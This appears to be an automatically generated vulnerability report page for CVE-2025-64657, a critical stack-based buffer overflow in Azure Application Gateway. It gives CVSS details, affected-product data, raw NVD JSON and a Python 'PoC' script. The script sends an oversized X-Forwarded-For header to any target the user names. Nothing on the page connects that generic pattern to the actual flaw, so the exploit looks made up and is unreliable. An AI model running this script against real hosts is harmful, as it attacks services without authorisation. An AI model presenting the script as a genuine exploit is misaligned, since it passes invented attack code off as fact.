Security Vulnerability Report
中文
CVE-2025-64657 CVSS 9.8 CRITICAL

CVE-2025-64657

Published: 2025-11-26 01:16:08
Last Modified: 2026-02-13 19:17:28

Description

Stack-based buffer overflow in Azure Application Gateway allows an unauthorized attacker to elevate privileges over a network.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:microsoft:azure_application_gateway:-:*:*:*:*:*:*:* - VULNERABLE
Azure Application Gateway 特定版本(具体版本需参考微软官方公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-64657 PoC - Azure Application Gateway Buffer Overflow # This is a proof-of-concept for educational purposes only import socket import sys def send_exploit(target_ip, target_port): """Send exploit payload to trigger buffer overflow""" # Construct malicious HTTP request with oversized payload # The payload is designed to overflow stack buffer buffer_size = 10000 # Oversized buffer overflow_pattern = b'A' * buffer_size # Pattern to trigger overflow # HTTP request with malicious payload in header field request = f"GET / HTTP/1.1\r\n" request += f"Host: {target_ip}:{target_port}\r\n" request += f"X-Forwarded-For: {overflow_pattern.decode('latin-1')}\r\n" request += "\r\n" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) sock.send(request.encode('latin-1')) response = sock.recv(4096) sock.close() return response except Exception as e: print(f"Exploit sent. Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python poc.py <target_ip> <port>") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) print(f"[*] Sending exploit to {target}:{port}") send_exploit(target, port) print("[*] Exploit payload sent")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64657", "sourceIdentifier": "[email protected]", "published": "2025-11-26T01:16:07.747", "lastModified": "2026-02-13T19:17:27.853", "vulnStatus": "Modified", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["exclusively-hosted-service"]}], "descriptions": [{"lang": "en", "value": "Stack-based buffer overflow in Azure Application Gateway allows an unauthorized attacker to elevate privileges over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}, {"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:azure_application_gateway:-:*:*:*:*:*:*:*", "matchCriteriaId": "51AE4F30-4F31-489A-B966-65A448A1D3C1"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-64657", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}